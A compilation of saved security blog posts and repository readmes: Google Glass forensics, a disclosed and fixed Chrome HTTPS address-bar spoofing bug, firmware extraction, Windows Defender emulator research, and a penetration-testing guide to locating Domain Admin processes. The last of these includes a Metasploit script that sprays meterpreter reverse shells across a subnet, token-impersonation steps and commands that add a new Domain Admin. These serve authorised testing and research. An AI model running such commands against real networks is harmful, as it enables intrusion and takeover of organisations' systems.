My goal is to continue my Google Glass forensic analysis and find these Google search requests. I first started by looking into the "saved_audio" file in "data\data\com.google.glass.voice\databases\saved_audio". I noticed that a user requested a Google search on February 10, 2014 at 9:32 AM. However, it is not evident what they searched for.

Google search command in "saved_audio" database
In order to find a different source of evidence, I decided to look into the Google Glass timeline. When a user interacts with Google Glass, their recent activities appear on "cards" on the Google Glass "timeline". As shown in the picture below, a user can swipe through these "cards" on their "timeline" to see their recent actions. Learn more about the Google Glass timeline from Google.
The Google Glass Timeline
I found a database called "timeline.db" located in "\data\com.google.glass.home\databases". This database holds data about the Google Glass timeline. The "timeline.db" can hold valuable information about a user's recent activities, including their Google searches. When examining the "timeline.db", I looked for a pattern which would indicate user searches.
When looking at "timeline.db" in EnCase 7 using the "text" view, I noticed all my search terms ended in capital "JT". I believe "JT" stands for JSON transform. This is because when Glass displays the results of a Google search the user made, it displays them on "cards" on the timeline, as I mentioned above. I believe the text from the search is reformatting to fit the Google "card" style, and therefore a JSON transform is occurring. This is just a guess however, if anyone has an idea of what "JT" may stand for, please let me know!
By searching for the term "JT" in the timeline.db using the text view in EnCase 7, I was able to see what the user searched for. As shown in the screenshot below, one search the user made was for "brownie recipes", indicated by the capital "JT" after the search term. Along with "JT" indicating the search term, there is a file path shown below, "\data\private-cache\h_1fd8cf1f-a05d-40fa-9ff0-3b6aab1dcb1dJq". This is an indicator to a file that is stored in the "private-cache" directory.

Screen shot from timeline.db text view
At this point, we can see the search term the user made, however we still do not have a time stamp associated with it. After exporting "timeline.db" and opening it up in Firefox SQLite Manager, we can take a closer look at the database.
As shown in the screenshot below, there is an "_id" which matches the file path that was in the "timeline.db" text view. The id "1fd8cf1f-a05d-40fa-9ff0-3b6aab1dcb1dJq" is the same id in the file path  "\data\private-cache\h_1fd8cf1f-a05d-40fa-9ff0-3b6aab1dcb1dJq". This id is how we are able to associate the "brownie recipes" search with the database entry. The database gives us a creation unix timestamp for this file, which when translated into readable time is February 10, 2014 at 9:32 AM in GMT -5.

Google Glass timeline.db in Firefox SQLite Manager
We now have a time stamp for the search term, although it is always valuable to get multiple sources. Let's take a closer look into the file path that was given in the "timeline.db", "\data\private-cache\h_1fd8cf1f-a05d-40fa-9ff0-3b6aab1dcb1dJq". 
The private-cache directory stores caches various files on Google Glass. These files are named after their "tags" and "id". The "tag" is the first part of the filename. The file "tags" indicate the contents of the cached file. In this case, the tag for the file is "h_", which could stand for history. All files with the "h_" tag in the private-cache have web history within them. The file "id" is the second part of the filename. It gives a unique identifier to the file.
When looking at the "h_1fd8cf1f-a05d-40fa-9ff0-3b6aab1dcb1dJq" in the "private-cache" directory, the web history associated with that particular search is shown. When looking through the file, "VIEW_WEB_SITE" indicates the websites loaded from the search, as seen in the screenshot below. In this case, the first website loaded for the "brownie recipes" search was "http://allrecipes.com/recipes/desserts/cookies/brownies". This is valuable because an investigator can see the web history associated with a specific search. However, I was not able to find a timestamp within the "h_1fd8cf1f-a05d-40fa-9ff0-3b6aab1dcb1dJq" file in the "private-cache" directory.

Private-cache "h_" file
Since the "private-cache" file did not give us a timestamp, but did provide us with web history, I decided to look into the "data\com.google.glass.browser\cache" directory. Within the cache folder, is a sub-folder called "webviewCacheChromium". This suggests Google Glass uses Chromium as its web browser. Chromium is an open source browser, find out more about the project here.
I exported the webviewCacheChromium folder and sub-folders and imported it into Internet Evidence Finder 6 (IEF). IEF is a tool by Magnet Forensics which is designed for forensic analysis of internet files. It is able to parse data from search engines and put it in an easy to view format for examination.
Recall the "h_1fd8cf1f-a05d-40fa-9ff0-3b6aab1dcb1dJq" file which displayed the websites loaded with the search. "VIEW_WEB_SITE" allowed us to see the websites loaded. Looking at the first website URL in that file, "http://allrecipes.com/recipes/desserts/cookies/brownies/" I was able to find the URL in IEF. Looking in "Chrome Cache Records," the URL was found with the correct time stamp, February 10, 2014 at 9:32 AM.

Internet Evidence Finder result
From this research, I realize there are multiple timestamps that can be found for a particular term the user searched by saying, "Ok Glass, Google". Questions? Comments? I would love to hear from you! Follow me on Google +!
﻿http://blog.acrossecurity.com/2012/01/google-chrome-https-address-bar.html 
ACROS Security Blog: Google Chrome HTTPS Address Bar Spoofing
Created:
1/15/2012 10:39:09 PM
Updated:
1/15/2012 10:39:09 PM
Author:

Tags:
vulnerability browser


Google Chrome HTTPS Address Bar Spoofing


The Fixed Bounty Bug Revealed

Last month Google awarded our security analyst Luka Treiber a Chromium Security Reward for a high-severity vulnerability fixed in version 16 of the Chrome web browser. Due to Chrome's automatic update mechanism we expect most browsers to be updated by now, which seems to be supported by StatCounter's Global Stats for January 2012, where Chrome 16 is the only Chrome version in the chart. Luka found this issue in Chrome 14 and we confirmed that Chrome 15 was vulnerable as well. This document presents the vulnerability in detail.

HTTPS-related  vulnerabilities tend to rate high on the severity scale as they allow attackers to make web site visitors - even the savvy ones who check for HTTPS evidence such as "https://" at the beginning of the URL - believe they are visiting a legitimate web site when they're actually on a malicious look-alike site. And when users trust a malicious web site, they will give it their credentials and personal data. 

This bug is a nice addition to some other HTTPS-related vulnerabilities our security researchers have found in the past: bypassing HTTPS security warnings in Internet Explorer and Netscape Navigator (yes, we were breaking HTTPS back in 1999!), and Poisoning Cached HTTPS Documents in Internet Explorer. None of these break the cryptographic model or implementation supporting HTTPS, but rather exploit the integration of SSL/TLS into the browser and browser's presentation of security-relevant information to the user. These are often the weakest link in the security HTTPS is supposed to provide.


Chrome's Trigger-Happy Address Bar

There is an inconsistency in the way Chrome 14/15 renders some web page redirections in a way that allows an attacker to perform address bar spoofing, resulting in an HTTPS URL being displayed with the content from some other web site. Let's take, for example, a simple JavaScript redirection page located at http://source/sample.html that looks as follows:

location="http://target";

When observing the above code in execution all parts of Chrome's user interface behave consistently, meaning that as the address bar changes from URL of the source page to the target URL, the page content changes accordingly and promptly (at once). However, by altering the script like this:

location="view-source:http://source/redir.php?url=http://target";

one can see the address bar starts changing before the displayed page content is replaced. So for a split second the address bar displays the new address http://target while the DOM is still from the old address http://source/sample.html. The given example is composed of two tricks:

1. Apparently the "view-source:" prefix causes the asynchronous behavior between the address bar and the DOM.
2. The redir.php is an HTTP 302 redirection script used to cause a redirect from view-source:http://source/redir.php to http://target, thus removing the "view-source:" prefix from the URL (the goal is to spoof the address bar to a legitimate domain as will be shown later). After this redirection, the browser no longer displays the source code but renders the HTML of http://target.

All demonstrations provided below employ the above two tricks with http://target replaced by a Gmail login page address. However, to stop the redirection at the exact moment when the inconsistency between the address bar and the page contents is being exhibited, a further trick is used. Each of the three demonstrations employs a different trick to "freeze" the state of inconsistency for a long enough time for a user to enter his credentials.


Demonstration #1: Redirection To HTTPS On Port 80

In the first demonstration, https://proxy.google.com:80/ is used as target of the redir.php script to block the redirection for about 30 seconds. This occurs because Chrome is instructed to establish an HTTPS connection with a server on an HTTP port, which results in a 30-second hopeless handshake attempt between an SSL/TLS client and an HTTP server.

While the redirection using view-source:http://www.acrossecurity.com/redir.php?url=https://proxy.google.com:80/ is being fruitlessly attempted (and Chrome is already showing https://proxy.google.com:80/ in the address bar), a fake Gmail login page is displayed from attacker's web site. If username and password are entered and the submit button is pressed the data gets sent to http://www.acrossecurity.com (the "malicious" web site for the purpose of this blog post). Tests have shown that any unresponsive server script can be used instead of https://proxy.google.com:80, or even an invalid target URL such as view-source:http://xxxxxxxx. 

Let's look at a video of this demonstration:



Demonstration #2: Using Google's Open Redirector

In the second demonstration, we avoid the suspicious 80 port in the URL by using some open redirector on https://*.google.com as the desired spoof URL. The demonstration is analogous to the previous one except that an additional redirect is used after the http://www.acrossecurity.com/redir.php script, and that https://proxy.google.com:80 is replaced with a download-throttling page http://www.acrossecurity.com/slow.php that delays the loading for an arbitrary amount of time. This time the URL that the redirection gets stuck on is https://www.google.com/url?q=http://www.acros.si/slow.php[...].

Let's see:



Demonstration #3: Delaying Redirection With A Blocked Modal Dialog 

In the third and final demonstration, we manage to spoof the exact URL of the Gmail login page. To do that, a blocked modal dialog is used to stop the redirection instead of the "wrong port trick" with https://proxy.google.com:80 or the download-throttling slow.php employed in the previous demonstrations. A precondition in this case, for whatever reason, is that the user has come to the malicious web site from the spoofed-to-be host (in our case https://accounts.google.com) or another host in its 2nd level domain before address bar spoofing redirection begins. This precondition can easily be fulfilled using any one of the open redirectors on google.com servers.

An intentionally blocked modal dialog (blocked by Chrome's pop-up blocker) is used to stop the redirection after the address bar has already been updated with the new URL but the page content hasn't been refreshed yet. Like in the previous demonstrations, a fake login form is displayed, waiting for the user to provide his credentials. Curiously, any requests resulting from the form submittal are queued while the modal dialog is blocked. We solved this with a self-destruct script inside the modal dialog executing after the submit button has been pressed, thus releasing the said queue and allowing the credentials to be sent to attacker's server.

Let's see how this looks like (notice the blocked dialog icon on the right side of the address bar):



Practical Exploitability

While it would certainly be possible to trick some users into logging in to Gmail (or any other targeted web site) through links provided by a 3rd party malicious web site, most users are likely to visit their favorite web sites directly (by typing the host name) or using browser bookmarks. In this case, as long as the initial URL is non-HTTPS, a man-in-the-middle attacker (i.e., the guy sitting next to you in the coffee shop with free WiFi) can actively inject malicious code into the initial web site's HTML to exploit this vulnerability and present a legitimately-looking fake HTTPS login form to the user.

Finally, the hawk-eyed among you may have noticed that the spoofing is not entirely perfect: the icon left to the spoofed URL is a grey planet as is typical for HTTP addresses - and not a green lock as is typical for valid HTTPS addresses. However, while many users may notice the presence of "https" and consider it a guarantee of trust, they are less likely to notice the absence of a lock icon - especially since the visual identification of HTTPS URLs is different in different web browsers.

So could this vulnerability realistically be used for defeating HTTPS in actual attacks? We think so and so does Google - and we're glad this bug is now fixed. When more and more web sites are depending on the cryptographic security of HTTPS, this bug is a reminder that HTTPS is much more than just cryptography. 

﻿https://github.com/0x6d696368/ghidra_scripts/blob/master/GoogleSearch.md 
0x6d696368/ghidra_scripts
Created:
5/10/2019 8:27:51 AM
Updated:
5/10/2019 8:27:51 AM
Author:

Tags:
plugin ghidra



Branch: master 	
ghidra_scripts / GoogleSearch.md
Find file Copy path 
Cannot retrieve latest commit at this time. 
0 contributors 
20 lines (10 sloc) 	 449 Bytes 
Raw Blame History 
 Open this file in GitHub Desktop 
GoogleSearch.py
This Ghidra script allows you to quickly search function names online.
Dependencies
· Needs firefox in $PATH
Usage
1. Click function you would like to search online (i.e. set the current address to that function), either the call or the function start
2. Hit ALT+SHIFT+G (you can change the shortcut)
3. Browser pops up with the search result
Example:


﻿http://www.devttys0.com/2011/05/reverse-engineering-firmware-linksys-wag120n/ 
/dev/ttyS0 » Blog Archive » Reverse Engineering Firmware: Linksys WAG120N
Created:
5/31/2011 10:07:56 PM
Updated:
5/31/2011 10:08:06 PM
Author:

Tags:
reversing Firmware


Reverse Engineering Firmware: Linksys WAG120N
The ability to analyze a firmware image and extract data from it is extremely useful. It can allow you to analyze an embedded device for bugs, vulnerabilities, or GPL violations without ever having access to the device.
In this tutorial, we’ll be examining the firmware update file for the Linksys WAG120N with the intent of finding and extracting the kernel and file system from the firmware image. The firmware image used is for the WAG120N hardware version 1.0, firmware version 1.00.16 (ETSI) Annex B, released on 08/16/2010 and is currently available for download from the Linksys Web site.
The first thing to do with a firmware image is to run the Linux file utility against it to make sure it isn’t a standard archive or compressed file. You don’t want to sit down and start analyzing a firmware image only to realize later that it’s just a ZIP file:

OK, it’s nothing known to the file utility. Next, let’s do a hex dump and run strings on it:

Taking a look at the strings output, we see references to the U-Boot boot loader and the Linux kernel. This is encouraging, as it suggests that this device does in fact run Linux, and U-Boot is a very common and well documented boot loader:

However, taking a quick look at the hexdump doesn’t immediately reveal anything interesting:

So let’s run binwalk against the firmware image to see what it can identify for us. There are a lot of false positive matches (these will be addressed in the up-coming 0.3.0 release!), but there are a few results that stand out:

Binwalk has found two uImage headers (which is the header format used by U-Boot), each of which is immediately followed by an LZMA compressed file.
Binwalk breaks out most of the information contained in these uImage headers, including their descriptions: ‘u-boot image’ and ‘MIPS Linux-2.4.31′. It also shows the reported compression type of ‘lzma’. Since each uImage header is followed by LZMA compressed data, this information appears to be legitimate.
The LZMA files can be extracted with dd and then decompressed with the lzma utility. Don’t worry about specifying a size limit when running dd; any trailing garbage will be ignored by lzma during decompression:

We are now left with the decompressed files ‘uboot’ and ‘kernel’. Running strings against them confirms that they are in fact the U-Boot and Linux kernel images:

We’ve got the kernel and the boot loader images, now all that’s left is finding and extracting the file system. Since binwalk didn’t find any file systems that looked legitimate, we’re going to have to do some digging of our own.
Let’s run strings against the extracted Linux kernel and grep the output for any file system references; this might give us a hint as to what file system(s) we should be looking for:

Ah! SquashFS is a very common embedded file system. Although binwalk has several SquashFS signatures, it is not uncommon to find variations of the ‘sqsh’ magic string (which indicates the beginning of a SquashFS image), so what we may be looking for here is a non-standard SquashFS signature inside the firmware file.
So how do we find an unknown signature inside a 4MB binary file?
Different sections inside of firmware images are often aligned to a certain size. This often means that there will have to be some padding between sections, as the size of each section will almost certainly not fall exactly on this alignment boundary.
An easy way to find these padded sections is to search for lines in our hexdump output that start with an asterisk (‘*’). When hexdump sees the same bytes repeated many times, it simply replaces those bytes with an asterisk to indicate that the last line was repeated many times. A good place to start looking for a file system inside a firmware image is immediately after these padded sections of data, as the start of the file system will likely need to fall on one of these aligned boundaries.
There are a couple interesting sections that contain the string ‘sErCoMm’. This could be something, but given the small size of some of these sections and the fact that they don’t appear to have anything to do with SquashFS, it is unlikely:

There are some other sections as well, but again, these are very small, much too small to be a file system:

Then we come across this section, which has the string ‘sqlz’ :

The standard SquashFS image starts with ‘sqsh’, but we’ve already seen that the firmware developers have used LZMA compression elsewhere in this image. Also, most firmware that uses SquashFS tends to use LZMA compression instead of the standard zlib compression. So this signature could be a modified SquashFS signature that is a concatination of ‘sq’ (SQuashfs) and ‘lz’ (LZma). Let’s extract it with dd and take a look:


Of course, ‘sqlz’ is not a standard signature, so the file utility still doesn’t recognize our extracted data. Let’s try editing the ‘sqlz’ string to read ‘sqsh’:

Running file against our modified SquashFS image gives us much better results:

This definitely looks like a valid SquashFS image! But due to the LZMA compression and the older SquashFS version (2.1),  you won’t be able to extract any files from it using the standard SquashFS tools. However, using the unsquashfs-2.1 utility included in Jeremy Collake’s firmware mod kit works perfectly:

Now that we know this works, we should go ahead and add this new signature to binwalk so that it will identify the ‘sqlz’ magic string in the future. Adding this new signature is as easy as opening binwalk’s magic file (/etc/binwalk/magic), copy/pasting the ‘sqsh’ signature and changing the ‘sqsh’ to ‘sqlz’:

Re-running binwalk against the original firmware image, we see that it now correctly identifies the SquashFS entry:

And there you have it. We successfully identified and extracted the boot loader, kernel and file system from this firmware image, plus we have a new SquashFS signature to boot!
﻿https://blog.netspi.com/5-ways-to-find-systems-running-domain-admin-processes/ 
5 Ways to Find Systems Running Domain Admin Processes
Created:
9/23/2018 8:44:00 AM
Updated:
9/23/2018 8:44:00 AM
Author:
wishi
Tags:
windows environment priv_esc




5 Ways to Find Systems Running Domain Admin Processes
Scott Sutherland
July 9th, 2012
Introduction
Migrating to Domain Admin processes is a common way penetration testers are able to impersonate Domain Admin accounts on the network. However, before a pentester can do that, they need to know what systems those processes are running on. In this blog I’ll cover 5 techniques to help you do that. The techniques that will be covered include: 
1. Checking Locally
2. Querying Domain Controllers for Active Domain User Sessions
3. Scanning Remote Systems for Running Tasks
4. Scanning Remote Systems for NetBIOS Information
5. PSExec Shell Spraying Remote Systems for Auth Tokens
Obtaining Domain Admin Privileges
For the most part, this blog will focus on identifying systems that are running Domain Admin processes. However, for the sake of context, I’ve outlined the standard process many penetration testers use to obtain Domain Admin privileges. 
1. Identify target systems and applications
2. Identify potential vulnerabilities
3. Exploit vulnerabilities to obtain initial access
4. Escalate privileges on the compromised system
5. Locate Domain Admin processes/authentication tokens locally or on Remote Systems
6. Authenticate to a remote system running Domain Admin Processes by passing the local Administrator’s password hash, cracking passwords, or dumping passwords with a tool like mimikatz
7. Migrate to a Domain Admin Process
8. Create a Domain Admin
The process as a whole is well known in the penetration testing community, and you should be able to find plenty of blogs, white papers, and video tutorials via Google if you’re interested in more details. Moving forward, I will only be focusing on options for number 5. 
Finding Domain Admin Processes
Ok, enough of my ramblings. As promised, below are 5 techniques for finding Domain Admin processes on the network. 
Technique 1: Checking Locally
Always check the initially compromised system first. There’s really no point is running around the network looking for Domain Admin processes if you already have one. Below is a simple way to check if any Domain Admin processes are running using native commands: 
1. Run the following command to get a list of domain admins: 
net group “Domain Admins” /domain
2. Run the following command to list processes and process owners. The account running the process should be in the 7th column. 
Tasklist /v
3. Cross reference the task list with the Domain Admin list to see if you have a winner.
It would be nice if Domain Admin processes were always available on the system initially compromised, but sometimes that is not the case. So the next four techniques will help you find Domain Admin process on remote domain systems. 
Technique 2: Querying Domain Controllers for Active Domain User Sessions
To my knowledge this technique is a NetSPI original. We wanted a way to identify active Domain Admin processes and logins without having to spray shells all over the network or do any scanning that would set off IDS. Eventually it occurred to us to simply query the domain controllers for a list of active domain user sessions and cross reference it with the Domain Admin list. The only catch is you have to query all of the domain controllers. Below I’ve provided the basic steps to get list of systems with active Domain Admin sessions as a domain user: 
1. Gather a list of Domain Controllers from the “Domain Controllers” OU using LDAP queries or net commands. I’ve provided a net command example below. 
net group “Domain Controllers” /domain
Important Note: The OU is the best source of truth for a list of domain controllers, but keep in mind that you should really go through the process of enumerating trusted domains and targeting those domain controllers as well.
Alternatively, you can look them up via DNS.
Nslookup –type=SRV _ldap._tcp.
2. Gather a list of Domain Admins from the “Domain Admins” group using LDAP queries or net commands. I’ve provided a net command example below. 
net group “Domain Admins” /domain
3. Gather a list of all of the active domain sessions by querying each of the domain controllers using Netsess.exe. Netsess is a great tool from Joe Richards that wraps around the native Windows function “netsessionenum”. It will return the IP Address of the active session, the domain account, the session start time, and the idle time. Below is a command example. 
Netsess.exe –h 
4. Cross reference the Domain Admin list with the active session list to determine which IP addresses have active domain tokens on them. In more secure environments you may have to wait for a Domain Admin or Service account with Domain Admin privileges to take actions on the network. What that really means I you’ll have to run through the process multiple time, or script it out. Below is a very quick and dirty Windows command line script that uses netsess. Keep in mind that dcs.txt has a list of domain controllers and admins.txt has a list of Domain Admins. 
FOR /F %i in (dcs.txt) do @echo [+] Querying DC %i && @netsess -h %i 2>nul > sessions.txt && 
FOR /F %a in (admins.txt) DO @type sessions.txt | @findstr /I %a
I wrote a basic batch script named Get Domain Admins (GDA) which can be download  that automates the whole process. The dependencies are listed in the readme file. I would like to give a shout out to Mark Beard and Ivan Dasilva for helping me out on it. I’ve also created a batch file called Get Domain Users (GDU) for Windows Dictionary attacks which has similar options, but more dependencies. If you interested it can be downloaded by clicking the link above. 
Technique 3: Scanning Remote Systems for Running Tasks
I typically have success with the first two options. However, I came across this method in a pauldotcom blog by LaNMSteR53 and I thought it was a clever alternative. Once you are running as the shared local administrator account on a domain system you can run the script below to scan systems for Domain Admin Tasks. Similar to the last technique you will need to enumerate the Domain Admins first. In the script below ips.txt contains a list of the target systems and the names.txt contains a list of the Domain Admins.
FOR /F %i in (ips.txt) DO @echo [+] %i && @tasklist /V /S %i /U user /P password 2>NUL > output.txt &&
FOR /F %n in (names.txt) DO @type output.txt | findstr %n > NUL && echo [!] %n was found running a process on %i && pause
The original post is: Crawling for Domain Admin with Tasklist if you’re interested. 
Technique 4: Scanning Remote Systems for NetBIOS Information
Some Windows systems still allow users to query for logged in users via the NetBIOS queries. The information can be queried using the native nbtstat tool. The user name is indicated by “<03>” in the nbtstat results. 
1. Below is another quick and dirty Windows command line script that will scan remote systems for active Domain Admins sessions. Note: The script can be ran as a non-domain user. 
for /F %i in (ips.txt) do @echo [+] Checking %i && nbtstat -A %i 2>NUL >nbsessions.txt && FOR /F %n in (admins.txt) DO @type nbsessions.txt | findstr /I %n > NUL && echo [!] %n was found logged into %i
2. You can also use the nbtscan tool which runs a little faster. It can be downloaded here. Another basic script example is below. 
for /F %i in (ips.txt) do @echo [+] Checking %i && nbtscan -f %i 2>NUL >nbsessions.txt && FOR /F %n in (admins.txt) DO @type nbsessions.txt | findstr /I %n > NUL && echo [!] %n was found logged into %i
Technique 5: PSExec Shell Spraying Remote Systems for Auth Tokens
Psexec “Shell spraying” is the act of using the Psexec module in Metasploit to install shells (typically meterpreter) on hundreds of systems using shared local administrative credentials. Many pentesters use this method in concert with other Metasploit functionality to identify Domain Admin tokens. This is my least favorite technique, but since a large portion of the pentest community is actively using it I feel that I needed to include it. I like getting shells as much as the next guy, but kicking off 500 hundred of them in a production environment could cause availability issues that clients will be really unhappy with. To be fair, having 500 shells does mean you can scrape data faster, but I still think it creates more risk than value. Regardless, below is the process I have seen a lot of people using: 
1. Install Metasploit 3.5 or greater.
2. Copy paste script below to a text file and save into the Metasploit directory as psexec_spray.rc. I originally found this script on Jabra’s blog. 
#Setup Multi Handler to accept multiple incoming connections use multi/handler setg PAYLOAD windows/meterpreter/reverse_tcp setg LHOST 0.0.0.0 setg LPORT 55555 set ExitOnSession false exploit -j -z
#Setup Credentials use windows/smb/psexec set SMBUser set SMBPass 
#Setup Domain as local host unless using domain credentials set SMBDomain. #Disable playload handler in psexec modules (using multi handler) set DisablePayloadHandler true #Run Ruby code to scan desired network range using some REX API stuff – range walker #note: could also accept ip addresses from a file by replacing rhosts =”192.168.74.0/24” with rhosts = File.readlines(“c:systems.txt”) require ‘rex/socket/range_walker’ rhosts = “192.168.1.0/24” iplist = Rex::Socket::RangeWalker.new(rhosts) iplist.each do |rhost|      #self allows for execution of commands in msfconsole      self.run_single(“set RHOST #{rhost}”)      #-j-z send the session to the background      self.run_single(“exploit -j -z”) end 
3. Update the smbuser and smbpass parameters.
4. Issue the following command to run the script. The psexec_spray.rc script will attempt to blindly install meterpreter shells on every system in the 192.168.1.0/24 network using the provided credentials. 
msfconsole –r psexec_spray.rc
5. You can then use the Metasploit module token_hunter to identify Domain Admin tokens on each of the shelled systems. I’ve outlined the steps below.
1. Create a file containing a list of the Domain Admins like so: COMPANYjoe-admin COMPANYbill-admin COMPANYdavid-admin
2. Load the token_hunter module in the msfconsole msf> load token_hunter
3. Run token hunter to list the sessions containing Domain Admin tokens. msf> token_hunt_user -f /tmp/domain-admin.txt
6. Alternatively, you can use the following command to get a list of currently logged in users from each of the shelled system and manually look for Domain Admins. 
Sessions –s loggedin
What Now?
If you already have a meterpreter session you can use Incognito to impersonate the Domain Admin, or add a new one. Incognito can attempt to add a new Domain Admin blindly by iterating through all of the available authencation tokens on the system. Below are the basic commands to do that in meterpreter. 
1. Load Incognito in your active meterpreter session with the following command: 
load incongnito
2. Attempt to add a Domain Admin with the authentication tokens on the system: 
add_user -h 
add_group “”Domain Admins”” -h 
If you’re interested in creating a new Domain Admin using another option you can use the instructions below: 
1. In the meterpreter console, type the following command to view processes: 
ps
2. In the meterpreter console, find a domain admin session and migrate to using the following command: 
migrate 
3. In the meterpreter console, type the following command get a OS shell: 
shell
4. Type the following native Windows command to add a new Domain Admin: 
net user /add /domain
net group “Domain Admins” /add /domain
Wrap Up
As you can see there are quite a few options for identifying Domain Admin processes and authentication tokens. I recommend using the low impact options to help prevent availability issues and unhappy clients. I’m sure as time goes on people will come up with better ideas, but until then remember to have fun and hack responsibly. 
References
http://technet.microsoft.com/en-us/library/cc940106.aspx
http://technet.microsoft.com/en-us/library/cc961857.aspx
http://spl0it.wordpress.com/
http://pauldotcom.com/2011/09/crawling-for-domain-admin-with.html
https://raw.github.com/nullbind/Other-Projects/master/GDA/GDA.bat
https://github.com/nullbind/Other-Projects/tree/master/GDU
http://www.room362.com/blog/2011/9/17/who-is-logged-in-a-quick-way-to-pick-your-targets.html
3 
Leave a Reply 

62 Comment threads 1 Thread replies 0 Followers   ç Most reacted comment  Hottest comment thread 
 1 Comment authors  Recent comment authors 
This site uses Akismet to reduce spam. Learn how your comment data is processed.
à  Subscribe  ×
Ø newest Ø oldest

Guest
will
Á
This was a great article. Thank you for sharing!
This has replaced the majority of my outdated tools for performing internal assessments. However, I’m still relying on enum.exe for determining the password and lockout threshold of a network. Do you have any suggestions on newer tools I can use?
 Reply
5 years ago

Guest
Sid
Á
Regarding querying domain controllers for active sessions, when a user logs in into his workstation, which auths the user against domain controller, the session for that user/workstation on the DC will only show up for a short window of time after auth happens, but if a user is actually logging in to the DC that that session will show up as long as the user is logged in. So in short, querying domain controllers is good for seeing where user(s) are currently logging in or have logged in very recently (or if users are actually logged in the DCs themselves),... Read more »
 Reply
4 years ago
w

Author
Scott Sutherland
Á
Hi Sid, 
That’s completely true and a great comment. Sorry I for the limited description. Thanks for taking the time to share the info. 
Scott
Reply
4 years ago

﻿https://github.com/0xAlexei/WindowsDefenderTools 
0xAlexei/WindowsDefenderTools
Created:
9/23/2018 8:56:28 AM
Updated:
9/23/2018 8:56:28 AM
Author:
wishi
Tags:
windows environment antivirus



Windows Defender Emulator Tools
This repository contains code that I wrote to help with my reverse engineering of Windows Defender Antivirus' binary emulator, complimentary to my presentations on the emulator at Black Hat USA 2018 and DEF CON 26.
Slides: https://i.blackhat.com/us-18/Thu-August-9/us-18-Bulazel-Windows-Offender-Reverse-Engineering-Windows-Defenders-Antivirus-Emulator.pdf
Videos: https://media.defcon.org/DEF%20CON%2026/DEF%20CON%2026%20presentations/Alexei%20Bulazel/Alexei-Bulazel-Reverse-Engineering-Windows-Defender-Demo-Videos/
mpclient Modifications
My code is built on top of Tavis Ormandy's loadlibrary (https://github.com/taviso/loadlibrary) project. In order to work with my code, you'll need to pull down a copy of loadlibrary, and then apply my patches to the project.
$ git clone https://github.com/taviso/loadlibrary
$ cd loadlibrary
$ git apply OutputDebugStringAHook.patch
$ make

[Follow Tavis's instructions about setting up mpengine.dll - make sure you have the 6/25/2018 build
Dumping symbols from IDA is nice for debugging, but is not necessary for this code to work]

$ ./mpclient OutputDebugStringADemo.exe 
[+] mpengine.dll base at 0xf5e66008
[+] Setting hooks and resolving offsets
[+] Parameters<1>::Parameters<1>	RVA: 0x46e5d5	Address: 0xf62d45dd
[+] pe_read_string_ex:			RVA: 0x3e59f3	Address: 0xf624b9fb
[+] OutputDebugStringA FP:		RVA: 0x01af88	Address: 0xf637c7a8
[+] OutputDebugStringA FP replaced: 	0x804ea80
[+] Done setting hooks and resolving offsets!
main(): Scanning /mnt/hgfs/sharemp/windows_only/OutputDebugStringADemo.exe...
EngineScanCallback(): Scanning input
[+] OutputDebugStringA(pe_vars_t * v = 0x0xf5c3c008)
[+] Params[1]:	0x402010
[+] OutputDebugStringA: "This is coming from inside the emulator!"
IMPORTANT: The offsets contained in this project are specific to the 6/25/2018 32-bit mpengine.dll build, MD5=e95d3f9e90ba3ccd1a4b8d63cbd88d1b. If you are using a different version of mpengine.dll, you'll need to locate these offsets yourself. It's easiest to wait for Microsoft to publish mpengine.dll PDBs with symbols, but it can be done easily without them.
Note that the included patches only contain my OutputDebugStringA hooking code. This will let you experiment with the engine and reproduce some of the demos I have shown. Implementing more advanced functionality demonstrated in my presentation is left as an exercise to the reader, eg: building a fuzzer, supporting format string-based output, dumping out arbitrary non-string buffers, hooking ExitProcess to understand when emulation is ending, or collecting coverage with a customized Lighthouse Pintool (https://github.com/gaasedelen/lighthouse).
Locating Offsets
Here are some heuristics you can use to locate the functions of interest without Microsoft PDB symbols
RVA_pe_read_string_ex
References the string "INVALID_STRING"
RVA_FP_OutputDebugStringA
Search for sequence of bytes 0B28014BB, it's the address of the function pointer right before that sequence in the g_syscalls table.
RVA_Parameters1
Function called in OutputDebugStringA, as found first using the above technique

Binary For Emulator Exploration
In addition to the mpclient extensions, you'll also find a Microsoft Visual Studio 2017 project that I have found to be consistently emulated when scanned with the 6/25/2018 mpengine.dll running under loadlibrary. Make sure you build an x86 Release version of this project when working with it. As noted in my presentation, Defender may choose not to emulate code for a variety of reasons, so I recommend frequently verifying that your code is still getting emulated as you make modifications.
As I have removed linking against a number of system libraries, many common Windows APIs are not supported, as are many C runtime functions. You can add linking against these Windows libraries if needed, but I recommend being careful with C runtime functions, as I found linking against msvcrt could prevent emulation. Note that C runtime functions may be implicitly invoked by C code constructs, such as int foo[5] = {0}; - so if you start getting linker problems complaining about _memcpy and other functions your code doesn't actually invoke, that may be the problem.

IDA Scripts
Finally, I've included a couple of IDA scripts that I found useful in doing this reverse engineering. These plugins were all written for and tested with IDA Pro 7, earlier versions of IDA may not support them. mp_apicall_7.py uses APIs specific to IDA 7, and will not work with earlier versions of IDA.
extract_syscall_table.py
Parse the mpengine.dlls g_syscalls table of natively emulated APIs and dump hashes and names to a Python map, as used in find_apicall_functions.py and mp_apicall_7.py
mp_apicall_7.py
An IDA Processor Extension module to add support for disassembling the apicall instruction during auto-analysis. This Processor Extension module explicitly only works on IDA Pro 7. This plugin only kicks in for files with the extension .mp.dll (eg: kernel32.mp.dll)
find_apicall_functions.py
After loading a binary with apicall instructions disassembled by mp_apicall_7.py, this script can be run to label apicall stub functions.

Support
No support is offered for this project. Feel free to report issues, but I am not planning on updating this code after publication or troubleshooting user issues.
That said, I keep open DMs on Twitter if you have any questions about the code - @0xAlexei https://twitter.com/0xAlexei


﻿https://azeria-labs.com/arm-lab-vm/ 
ARM Lab (VM)
Created:
11/23/2017 9:29:20 AM
Updated:
11/23/2017 9:29:20 AM
Author:
wishi
Tags:





ARM LAB ENVIRONMENT	
Let’s say you got curious about ARM assembly or exploitation and want to write your first assembly scripts or solve some ARM challenges. For that you either need an Arm device (e.g. Raspberry Pi), or you set up your lab environment in a VM for quick access.
This page contains 3 levels of lab setup laziness.
§ Manual Setup – Level 0
§ Ain’t nobody got time for that – Level 1
§ Ain’t nobody got time for that – Level 2

MANUAL SETUP – LEVEL 0	
If you have the time and nerves to set up the lab environment yourself, I’d recommend doing it. You might get stuck, but you might also learn a lot in the process. Knowing how to emulate things with QEMU also enables you to choose what ARM version you want to emulate in case you want to practice on a specific processor.
How to emulate Raspbian with QEMU.

